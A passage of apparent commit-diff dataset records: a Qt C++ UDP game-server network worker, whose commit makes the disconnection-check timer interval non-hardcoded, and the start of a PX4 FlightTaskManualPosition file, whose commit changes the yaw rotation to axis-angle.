dropping the datagram\";\n }\n VLOG(5) << \"Datagram comes from client \" << client.GetId();\n quint32 packet_id = GetPacketId(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the packet id.\";\n return;\n }\n VLOG(5) << \"Received datagram packet id: \" << packet_id;\n quint8 packet_type = GetPacketType(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the packet type.\";\n return;\n }\n switch(packet_type) {\n case kPingPacketId:\n VLOG(5) << \"The datagram is a ping packet.\";\n ProcessPingPacket(stream, client, packet_id);\n break;\n case kEventPacketId:\n VLOG(5) << \"The datagram is an event packet.\";\n ProcessEventPacket(stream, client, packet_id);\n break;\n default:\n LOG(WARNING) << \"Received unknown packet type \" << packet_type << \", dropping datagram.\";\n break;\n }\n}\n\nbool GameNetworkWorker::CheckProtocolAndVersion(QDataStream &stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 protocol_id;\n quint8 server_version;\n stream >> protocol_id;\n stream >> server_version;\n\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the protocol and version.\";\n return false;\n }\n\n quint8 accepted_version = GameNetworkWorker::kServerVersion;\n quint8 accepted_protocol_id = GameNetworkWorker::kProtocolId;\n if(protocol_id != accepted_protocol_id) {\n LOG(WARNING) << \"Received unexpected protocol ID: got \" << protocol_id << \", expected \" << accepted_protocol_id;\n return false;\n }\n if(server_version != accepted_version) {\n LOG(WARNING) << \"Received unsupported server version: got \" << server_version << \", but only version \" << accepted_version << \" is supported by this client\";\n return false;\n }\n return true;\n}\n\nquint8 GameNetworkWorker::GetPacketType(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 packet_id;\n stream >> packet_id;\n return packet_id;\n}\n\nquint32 GameNetworkWorker::GetPacketId(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint32 packet_id;\n stream >> packet_id;\n return packet_id;\n}\n\nquint8 GameNetworkWorker::GetClientId(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 client_id;\n stream >> client_id;\n return client_id;\n}\n\nvoid GameNetworkWorker::ProcessPingPacket(QDataStream& stream, const Client& client, quint32 packet_id) {\n (void) stream; \/\/ unused for now, the ping content does not matter\n last_received_pings_[client.GetId()] = game_timer_->GetTimestamp();\n SendPongPacket(client, packet_id);\n}\n\nvoid GameNetworkWorker::ProcessEventPacket(QDataStream& stream, const Client& client, quint32 packet_id) {\n assert(stream.status() == QDataStream::Ok);\n (void) packet_id;\n quint8 events_size;\n stream >> events_size;\n\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the number of events.\";\n return;\n }\n\n for(int i = 0; i < events_size; i++) {\n std::unique_ptr<InGameEvent> event = Deserializer::DeserializeInGameEvent(stream);\n if(stream.status() != QDataStream::Ok) {\n LOG(WARNING) << \"Stream is in an invalid state after having deserialized the event. Continuing anyway.\";\n }\n if(event.get() == nullptr) {\n LOG(WARNING) << \"Could not deserialize the received event. Dropping remaining data.\";\n return;\n }\n VLOG(9) << \"Deserialized event has ID \" << event->GetId();\n if(event->GetId() <= last_event_ids_[client.GetId()]) {\n VLOG(8) << \"The client has sent an event that has already been processed (according to its ID).\";\n continue;\n }\n auto client_event = std::unique_ptr<BaseClientEvent>(new BaseClientEvent(std::move(event), client, game_timer_->GetTimestamp()));\n HandlePendingEvent(std::move(client_event));\n }\n EmitReadyEvents(client);\n}\n\n\/\/ TODO: defends against a client attacking the server by sending bad events id\nvoid GameNetworkWorker::HandlePendingEvent(std::unique_ptr<BaseClientEvent> event) {\n Client client = event->GetClient();\n auto pair = std::pair<const quint32, std::unique_ptr<BaseClientEvent>>(event->GetEvent()->GetId(), std::move(event));\n event_cache_[client.GetId()].insert(std::move(pair));\n}\n\nvoid GameNetworkWorker::EmitReadyEvents(Client client) {\n quint8 client_id = client.GetId();\n \/\/ look if the next event from this client (ordered by id) has been received\n auto it = event_cache_[client_id].find(last_event_ids_[client_id] + 1);\n bool send_ack = false;\n while(it != event_cache_[client_id].end()) {\n \/\/ if yes, send it to the application\n EmitterVisitor visitor(this, it->second.get());\n it->second->GetEvent()->Accept(visitor);\n event_cache_[client_id].erase(it);\n \/\/ this event will be ACKed\n last_event_ids_[client_id]++;\n send_ack = true;\n \/\/ update iterator\n it = event_cache_[client_id].find(last_event_ids_[client_id] + 1);\n }\n if(send_ack) {\n SendAckPacket(client, last_event_ids_[client_id]);\n }\n}\n\nvoid GameNetworkWorker::SendAckPacket(const Client& client, quint32 event_id) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n PrepareHeader(stream, kEventAckPacketId);\n stream << event_id;\n assert(stream.status() == QDataStream::Ok);\n socket_.writeDatagram(buffer, client.GetAddress(), client.GetPort());\n VLOG(9) << \"Sent ACK packet for ids <= \" << (int) event_id << \" to client ID \" << (int) client.GetId();\n}\n\nvoid GameNetworkWorker::SendPongPacket(const Client& client, quint32 packet_id) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n PrepareHeader(stream, kPingPacketId);\n stream << packet_id;\n quint32 timestamp = game_timer_->GetTimestamp();\n stream << timestamp;\n assert(stream.status() == QDataStream::Ok);\n socket_.writeDatagram(buffer, client.GetAddress(), client.GetPort());\n VLOG(9) << \"Answered pong with timestamp \" << timestamp << \" to the ping with id \" << packet_id;\n VLOG(9) << \"Client was at address \" << client.GetAddress().toString().toStdWString() << \":\" << client.GetPort();\n}\n\nquint32 GameNetworkWorker::PrepareHeader(QDataStream& stream, quint8 packet_type) {\n assert(stream.status() == QDataStream::Ok);\n quint32 packet_id = GetNextPacketId();\n stream << kProtocolId;\n stream << kServerVersion;\n stream << packet_id;\n stream << packet_type;\n return packet_id;\n}\n\nquint32 GameNetworkWorker::GetNextPacketId() {\n last_packet_id_ += 1;\n return last_packet_id_;\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<BombEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: bomb event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit BombEventReceived(event);\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<MoveEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: move event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit MoveEventReceived(event);\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<PlayerLeftEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: player left event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit PlayerLeftEventReceived(event);\n}\n\nvoid GameNetworkWorker::BroadcastWorld() {\n quint32 timestamp = game_timer_->GetTimestamp();\n VLOG(9) << \"Broadcasting the world state to clients, timestamp is \" << timestamp;\n auto world = world_ptr_.lock();\n if(world.get() == nullptr) {\n LOG(WARNING) << \"The World has gone out of scope, can not send it to clients!\";\n return;\n }\n std::vector<Entity*> to_send;\n \/\/ do not put to many entites in the same packet to prevent the packet from\n \/\/ being cut by the network layer\n for(int i = 0; i < world->GetWidth(); i++) {\n for(int j = 0; j < world->GetHeight(); j++) {\n QPoint point(i, j);\/\/ TODO check indices\n for(auto it = world->IteratorAtBegin(point); it != world->IteratorAtEnd(point); ++it) {\n to_send.push_back(it->get());\n }\n }\n }\n for(auto it = world->CharacterIteratorBegin(); it != world->CharacterIteratorEnd(); ++it) {\n to_send.push_back(it->get());\n }\n auto it = to_send.begin();\n while(it != to_send.end()) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n quint32 packet_id = PrepareHeader(stream, kEntitiesPacketId);\n stream << timestamp;\n std::vector<Entity*> packet;\n for(int i = 0; i < 10 && it != to_send.end(); ++i) {\n packet.push_back(*it);\n ++it;\n }\n stream << (quint8) packet.size();\n for(Entity* entity: packet) {\n stream << *entity;\n }\n for(auto p: clients_) {\n socket_.writeDatagram(buffer, buffer.size(), p.second.GetAddress(), p.second.GetPort());\n }\n VLOG(9) << \"Sent the entities packet with ID: \" << packet_id << \" to all the clients\";\n }\n}\n\nvoid GameNetworkWorker::DetectConnectionLost() {\n for(auto it = last_received_pings_.begin(); it != last_received_pings_.end(); ++it) {\n if(game_timer_->GetTimestamp() > it->second + kDisconnectTimeout) {\n auto itt = clients_.find(it->first);\n assert(itt != clients_.end());\n Client client = itt->second;\n client.SetConnected(false);\n LOG(INFO) << \"The client \" << (int) client.GetId() << \" did not send a ping for at least \" << (int) kDisconnectTimeout << \" seconds ; marking it as disconnected.\";\n emit ConnectionLost(client);\n last_received_pings_.erase(it);\n }\n }\n}\n\nbool GameNetworkWorker::CheckStreamStatus(const QDataStream& stream) const {\n if(stream.status() != QDataStream::Ok) {\n LOG(WARNING) << \"Deserialization stream status is not OK (code is: \" << (int) stream.status() << \"), the current message will be lost.\";\n return false;\n }\n return true;\n}\n\n\n}\n<commit_msg>Do not hardcode the frequency of disconnection checks.<commit_after>#include \"GameNetworkWorker.h\"\n#include \"easylogging++.h\"\n#include \"src\/common\/net\/EventId.h\"\n#include \"src\/common\/net\/Deserializer.h\"\n#include <cassert>\n\nnamespace net {\n\nGameNetworkWorker::GameNetworkWorker(quint16 port, std::shared_ptr<GameTimer> game_timer, std::weak_ptr<World> world, std::vector<Client> clients)\n : port_(port),\n game_timer_(game_timer),\n last_packet_id_(1),\n world_ptr_(world),\n send_entities_timer_(),\n detect_disconnect_timer_() {\n QObject::connect(&socket_, SIGNAL(readyRead()), this, SLOT(ReadPendingDatagrams()));\n QObject::connect(&socket_, SIGNAL(error(QAbstractSocket::SocketError)), this, SLOT(SocketError(QAbstractSocket::SocketError)));\n socket_.bind( port_);\n for(Client client : clients) {\n clients_.insert(std::pair<int, Client>(client.GetId(), client));\n last_event_ids_[client.GetId()] = 0; \/\/ not event has been ACKed yet for this client (the first event ID will be 1)\n last_received_pings_[client.GetId()] = game_timer_->GetTimestamp();\n }\n QObject::connect(&send_entities_timer_, &QTimer::timeout, this, &GameNetworkWorker::BroadcastWorld);\n send_entities_timer_.start(100);\n QObject::connect(&detect_disconnect_timer_, &QTimer::timeout, this, &GameNetworkWorker::DetectConnectionLost);\n detect_disconnect_timer_.start(kDisconnectTimeout \/ 3);\n LOG(DEBUG) << \"In game network worker initialized and ready on port \" << port_;\n}\n\nvoid GameNetworkWorker::ReadPendingDatagrams() {\n VLOG(9) << \"Reading pending datagrams...\";\n while(socket_.hasPendingDatagrams()) {\n QByteArray datagram;\n datagram.resize(socket_.pendingDatagramSize());\n QHostAddress sender;\n quint16 sender_port;\n socket_.readDatagram(datagram.data(), datagram.size(), &sender, &sender_port);\n ProcessDatagram(datagram);\n }\n}\n\nvoid GameNetworkWorker::SocketError(QAbstractSocket::SocketError error) {\n LOG(ERROR) << \"Error on socket: \" << socket_.errorString().toStdWString();\n (void) error;\n}\n\n\nvoid GameNetworkWorker::ProcessDatagram(const QByteArray& datagram) {\n QDataStream stream(datagram);\n if(!CheckProtocolAndVersion(stream)) {\n LOG(WARNING) << \"Protocol or version ID mismatch, dropping datagram.\";\n return;\n }\n quint8 client_id = GetClientId(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the client id.\";\n return;\n }\n auto it = clients_.find(client_id);\n if(it == clients_.end()) {\n LOG(WARNING) << \"Got a datagram with client id \" << (int) client_id << \" that does not match a registered client, dropping it.\";\n return;\n }\n Client client = it->second;\n if(!client.IsConnected()) {\n LOG(WARNING) << \"Received a datagram from a previously disconnected client. This server does not support client reconnection ; dropping the datagram\";\n }\n VLOG(5) << \"Datagram comes from client \" << client.GetId();\n quint32 packet_id = GetPacketId(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the packet id.\";\n return;\n }\n VLOG(5) << \"Received datagram packet id: \" << packet_id;\n quint8 packet_type = GetPacketType(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the packet type.\";\n return;\n }\n switch(packet_type) {\n case kPingPacketId:\n VLOG(5) << \"The datagram is a ping packet.\";\n ProcessPingPacket(stream, client, packet_id);\n break;\n case kEventPacketId:\n VLOG(5) << \"The datagram is an event packet.\";\n ProcessEventPacket(stream, client, packet_id);\n break;\n default:\n LOG(WARNING) << \"Received unknown packet type \" << packet_type << \", dropping datagram.\";\n break;\n }\n}\n\nbool GameNetworkWorker::CheckProtocolAndVersion(QDataStream &stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 protocol_id;\n quint8 server_version;\n stream >> protocol_id;\n stream >> server_version;\n\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the protocol and version.\";\n return false;\n }\n\n quint8 accepted_version = GameNetworkWorker::kServerVersion;\n quint8 accepted_protocol_id = GameNetworkWorker::kProtocolId;\n if(protocol_id != accepted_protocol_id) {\n LOG(WARNING) << \"Received unexpected protocol ID: got \" << protocol_id << \", expected \" << accepted_protocol_id;\n return false;\n }\n if(server_version != accepted_version) {\n LOG(WARNING) << \"Received unsupported server version: got \" << server_version << \", but only version \" << accepted_version << \" is supported by this client\";\n return false;\n }\n return true;\n}\n\nquint8 GameNetworkWorker::GetPacketType(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 packet_id;\n stream >> packet_id;\n return packet_id;\n}\n\nquint32 GameNetworkWorker::GetPacketId(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint32 packet_id;\n stream >> packet_id;\n return packet_id;\n}\n\nquint8 GameNetworkWorker::GetClientId(QDataStream& stream) {\n assert(stream.status() == QDataStream::Ok);\n quint8 client_id;\n stream >> client_id;\n return client_id;\n}\n\nvoid GameNetworkWorker::ProcessPingPacket(QDataStream& stream, const Client& client, quint32 packet_id) {\n (void) stream; \/\/ unused for now, the ping content does not matter\n last_received_pings_[client.GetId()] = game_timer_->GetTimestamp();\n SendPongPacket(client, packet_id);\n}\n\nvoid GameNetworkWorker::ProcessEventPacket(QDataStream& stream, const Client& client, quint32 packet_id) {\n assert(stream.status() == QDataStream::Ok);\n (void) packet_id;\n quint8 events_size;\n stream >> events_size;\n\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the number of events.\";\n return;\n }\n\n for(int i = 0; i < events_size; i++) {\n std::unique_ptr<InGameEvent> event = Deserializer::DeserializeInGameEvent(stream);\n if(stream.status() != QDataStream::Ok) {\n LOG(WARNING) << \"Stream is in an invalid state after having deserialized the event. Continuing anyway.\";\n }\n if(event.get() == nullptr) {\n LOG(WARNING) << \"Could not deserialize the received event. Dropping remaining data.\";\n return;\n }\n VLOG(9) << \"Deserialized event has ID \" << event->GetId();\n if(event->GetId() <= last_event_ids_[client.GetId()]) {\n VLOG(8) << \"The client has sent an event that has already been processed (according to its ID).\";\n continue;\n }\n auto client_event = std::unique_ptr<BaseClientEvent>(new BaseClientEvent(std::move(event), client, game_timer_->GetTimestamp()));\n HandlePendingEvent(std::move(client_event));\n }\n EmitReadyEvents(client);\n}\n\n\/\/ TODO: defends against a client attacking the server by sending bad events id\nvoid GameNetworkWorker::HandlePendingEvent(std::unique_ptr<BaseClientEvent> event) {\n Client client = event->GetClient();\n auto pair = std::pair<const quint32, std::unique_ptr<BaseClientEvent>>(event->GetEvent()->GetId(), std::move(event));\n event_cache_[client.GetId()].insert(std::move(pair));\n}\n\nvoid GameNetworkWorker::EmitReadyEvents(Client client) {\n quint8 client_id = client.GetId();\n \/\/ look if the next event from this client (ordered by id) has been received\n auto it = event_cache_[client_id].find(last_event_ids_[client_id] + 1);\n bool send_ack = false;\n while(it != event_cache_[client_id].end()) {\n \/\/ if yes, send it to the application\n EmitterVisitor visitor(this, it->second.get());\n it->second->GetEvent()->Accept(visitor);\n event_cache_[client_id].erase(it);\n \/\/ this event will be ACKed\n last_event_ids_[client_id]++;\n send_ack = true;\n \/\/ update iterator\n it = event_cache_[client_id].find(last_event_ids_[client_id] + 1);\n }\n if(send_ack) {\n SendAckPacket(client, last_event_ids_[client_id]);\n }\n}\n\nvoid GameNetworkWorker::SendAckPacket(const Client& client, quint32 event_id) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n PrepareHeader(stream, kEventAckPacketId);\n stream << event_id;\n assert(stream.status() == QDataStream::Ok);\n socket_.writeDatagram(buffer, client.GetAddress(), client.GetPort());\n VLOG(9) << \"Sent ACK packet for ids <= \" << (int) event_id << \" to client ID \" << (int) client.GetId();\n}\n\nvoid GameNetworkWorker::SendPongPacket(const Client& client, quint32 packet_id) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n PrepareHeader(stream, kPingPacketId);\n stream << packet_id;\n quint32 timestamp = game_timer_->GetTimestamp();\n stream << timestamp;\n assert(stream.status() == QDataStream::Ok);\n socket_.writeDatagram(buffer, client.GetAddress(), client.GetPort());\n VLOG(9) << \"Answered pong with timestamp \" << timestamp << \" to the ping with id \" << packet_id;\n VLOG(9) << \"Client was at address \" << client.GetAddress().toString().toStdWString() << \":\" << client.GetPort();\n}\n\nquint32 GameNetworkWorker::PrepareHeader(QDataStream& stream, quint8 packet_type) {\n assert(stream.status() == QDataStream::Ok);\n quint32 packet_id = GetNextPacketId();\n stream << kProtocolId;\n stream << kServerVersion;\n stream << packet_id;\n stream << packet_type;\n return packet_id;\n}\n\nquint32 GameNetworkWorker::GetNextPacketId() {\n last_packet_id_ += 1;\n return last_packet_id_;\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<BombEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: bomb event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit BombEventReceived(event);\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<MoveEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: move event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit MoveEventReceived(event);\n}\n\nvoid GameNetworkWorker::EmitEvent(ClientEvent<PlayerLeftEvent> event) {\n VLOG(EVENT_READY_LOG_LEVEL) << \"Network worker: player left event ready \/ client id: \" << (int) event.GetClientId() << \" \/ id: \" << event.GetEventData().GetId();\n emit PlayerLeftEventReceived(event);\n}\n\nvoid GameNetworkWorker::BroadcastWorld() {\n quint32 timestamp = game_timer_->GetTimestamp();\n VLOG(9) << \"Broadcasting the world state to clients, timestamp is \" << timestamp;\n auto world = world_ptr_.lock();\n if(world.get() == nullptr) {\n LOG(WARNING) << \"The World has gone out of scope, can not send it to clients!\";\n return;\n }\n std::vector<Entity*> to_send;\n \/\/ do not put to many entites in the same packet to prevent the packet from\n \/\/ being cut by the network layer\n for(int i = 0; i < world->GetWidth(); i++) {\n for(int j = 0; j < world->GetHeight(); j++) {\n QPoint point(i, j);\/\/ TODO check indices\n for(auto it = world->IteratorAtBegin(point); it != world->IteratorAtEnd(point); ++it) {\n to_send.push_back(it->get());\n }\n }\n }\n for(auto it = world->CharacterIteratorBegin(); it != world->CharacterIteratorEnd(); ++it) {\n to_send.push_back(it->get());\n }\n auto it = to_send.begin();\n while(it != to_send.end()) {\n QByteArray buffer;\n QDataStream stream(&buffer, QIODevice::OpenModeFlag::WriteOnly);\n quint32 packet_id = PrepareHeader(stream, kEntitiesPacketId);\n stream << timestamp;\n std::vector<Entity*> packet;\n for(int i = 0; i < 10 && it != to_send.end(); ++i) {\n packet.push_back(*it);\n ++it;\n }\n stream << (quint8) packet.size();\n for(Entity* entity: packet) {\n stream << *entity;\n }\n for(auto p: clients_) {\n socket_.writeDatagram(buffer, buffer.size(), p.second.GetAddress(), p.second.GetPort());\n }\n VLOG(9) << \"Sent the entities packet with ID: \" << packet_id << \" to all the clients\";\n }\n}\n\nvoid GameNetworkWorker::DetectConnectionLost() {\n for(auto it = last_received_pings_.begin(); it != last_received_pings_.end(); ++it) {\n if(game_timer_->GetTimestamp() > it->second + kDisconnectTimeout) {\n auto itt = clients_.find(it->first);\n assert(itt != clients_.end());\n Client client = itt->second;\n client.SetConnected(false);\n LOG(INFO) << \"The client \" << (int) client.GetId() << \" did not send a ping for at least \" << (int) kDisconnectTimeout << \" seconds ; marking it as disconnected.\";\n emit ConnectionLost(client);\n last_received_pings_.erase(it);\n }\n }\n}\n\nbool GameNetworkWorker::CheckStreamStatus(const QDataStream& stream) const {\n if(stream.status() != QDataStream::Ok) {\n LOG(WARNING) << \"Deserialization stream status is not OK (code is: \" << (int) stream.status() << \"), the current message will be lost.\";\n return false;\n }\n return true;\n}\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n *\n * Copyright (c) 2017 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file FlightTaskManualPosition.cpp\n *\/\n\n#include \"FlightTaskManualPosition.hpp\"\n#include <mathlib\/mathlib.h>\n#include <float.h>\n\nusing namespace matrix;\n\nFlightTaskManualPosition::FlightTaskManualPosition(control::SuperBlock *parent, const char *name) :\n\tFlightTaskManualAltitude(parent, name),\n\t_vel_xy_manual_max(parent, \"MPC_VEL_MANUAL\", false),\n\t_acc_xy_max(parent, \"MPC_ACC_HOR_MAX\", false),\n\t_vel_hold_thr_xy(parent, \"MPC_HOLD_MAX_XY\", false)\n{}\n\nbool FlightTaskManualPosition::activate()\n{\n\t_pos_sp_xy = matrix::Vector2f(NAN, NAN);\n\t_vel_sp_xy = matrix::Vector2f(0.0f, 0.0f);\n\treturn FlightTaskManualAltitude::activate();\n}\n\nvoid FlightTaskManualPosition::_scaleSticks()\n{\n\t\/* Use same scaling as for FlightTaskManualAltitude to\n\t * get yaw and z *\/\n\tFlightTaskManualAltitude::_scaleSticks();\n\n\t\/* Constrain length of stick inputs to 1 for xy*\/\n\tmatrix::Vector2f stick_xy(_sticks_expo(0), _sticks_expo(1));\n\n\tfloat mag = math::constrain(stick_xy.length(), 0.0f, 1.0f);\n\n\tif (mag > FLT_EPSILON) {\n\t\tstick_xy = stick_xy.normalized() * mag;\n\t}\n\n\t\/* Scale to velocity.*\/\n\t_vel_sp_xy = stick_xy * _vel_xy_manual_max.get();\n\n\t\/* Rotate setpoint into local frame. *\/\n\tmatrix::Vector3f vel_sp{_vel_sp_xy(0), _vel_sp_xy(1), 0.0f};\n\tvel_sp = (matrix::Dcmf(matrix::Eulerf(0.0f, 0.0f, _yaw)) * vel_sp);\n\t_vel_sp_xy = matrix::Vector2f(vel_sp(0), vel_sp(1));\n}\n\nvoid FlightTaskManualPosition::_updateXYlock()\n{\n\t\/* If position lock is not active, position setpoint is set to NAN.*\/\n\tconst float vel_xy_norm = Vector2f(&_velocity(0)).length();\n\tconst bool apply_brake = _vel_sp_xy.length() < FLT_EPSILON;\n\tconst bool stopped = (_vel_hold_thr_xy.get() < FLT_EPSILON || vel_xy_norm < _vel_hold_thr_xy.get());\n\n\tif (apply_brake && stopped && !PX4_ISFINITE(_pos_sp_xy(0))) {\n\t\t_pos_sp_xy = matrix::Vector2f(&_position(0));\n\n\t} else if (!apply_brake) {\n\t\t_pos_sp_xy = _pos_sp_xy * NAN;\n\t}\n}\n\nvoid FlightTaskManualPosition::_updateSetpoints()\n{\n\tFlightTaskManualAltitude::_updateSetpoints(); \/\/ get yaw and z setpoints\n\t_updateXYlock(); \/\/ check for position lock\n}\n\nbool FlightTaskManualPosition::update()\n{\n\t_scaleSticks();\n\t_updateSetpoints();\n\n\t_setPositionSetpoint(Vector3f(_pos_sp_xy(0), _pos_sp_xy(1), _pos_sp_z));\n\t_setVelocitySetpoint(Vector3f(_vel_sp_xy(0), _vel_sp_xy(1), _vel_sp_z));\n\t_setYawSetpoint(_yaw_sp);\n\t_setYawspeedSetpoint(_yaw_rate_sp);\n\t_setThrustSetpoint(Vector3f(NAN, NAN, NAN));\n\n\n\treturn true;\n}\n<commit_msg>FlightTaskManualPosition: use axis angle to rotate into world frame<commit_after>\/****************************************************************************\n *\n * Copyright (c) 2017 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file FlightTaskManualPosition.cpp\n *\/\n\n#include \"FlightTaskManualPosition.hpp\"\n#include <mathlib\/mathlib.h>\n#include <float.h>\n\nusing namespace matrix;\n\nFlightTaskManualPosition::FlightTaskManualPosition(control::SuperBlock *parent, const char *name) :\n\tFlightTaskManualAltitude(parent, name),\n\t_vel_xy_manual_max(parent, \"MPC_VEL_MANUAL\", false),\n\t_acc_xy_max(parent, \"MPC_ACC_HOR_MAX\", false),\n\t_vel_hold_thr_xy(parent, \"MPC_HOLD_MAX_XY\", false)\n{}\n\nbool FlightTaskManualPosition::activate()\n{\n\t_pos_sp_xy = matrix::Vector2f(NAN, NAN);\n\t_vel_sp_xy = matrix::Vector2f(0.0f, 0.0f);\n\treturn FlightTaskManualAltitude::activate();\n}\n\nvoid FlightTaskManualPosition::_scaleSticks()\n{\n\t\/* Use same scaling as for FlightTaskManualAltitude to\n\t * get yaw and z *\/\n\tFlightTaskManualAltitude::_scaleSticks();\n\n\t\/* Constrain length of stick inputs to 1 for xy*\/\n\tmatrix::Vector2f stick_xy(_sticks_expo(0), _sticks_expo(1));\n\n\tfloat mag = math::constrain(stick_xy.length(), 0.0f, 1.0f);\n\n\tif (mag > FLT_EPSILON) {\n\t\tstick_xy = stick_xy.normalized() * mag;\n\t}\n\n\t\/* Scale to velocity.*\/\n\t_vel_sp_xy = stick_xy * _vel_xy_manual_max.get();\n\n\t\/* Rotate setpoint into local frame. *\/\n\tmatrix::Quatf q_yaw = matrix::AxisAnglef(matrix::Vector3f(0.0f, 0.0f, 1.0f), _yaw);\n\tmatrix::Vector3f vel_world = q_yaw.conjugate(matrix::Vector3f(_vel_sp_xy(0), _vel_sp_xy(1), 0.0f));\n\t_vel_sp_xy = matrix::Vector2f(vel_world(0), vel_world(1));\n}\n\nvoid FlightTaskManualPosition::_updateXYlock()\n{\n\t\/* If position lock is not active, position setpoint is set to NAN.*\/\n\tconst float vel_xy_norm = Vector2f(&_velocity(0)).length();\n\tconst bool apply_brake = _vel_sp_xy.length() < FLT_EPSILON;\n\tconst bool stopped = (_vel_hold_thr_xy.get() < FLT_EPSILON || vel_xy_norm < _vel_hold_thr_xy.get());\n\n\tif (apply_brake && stopped && !PX4_ISFINITE(_pos_sp_xy(0))) {\n\t\t_pos_sp_xy = 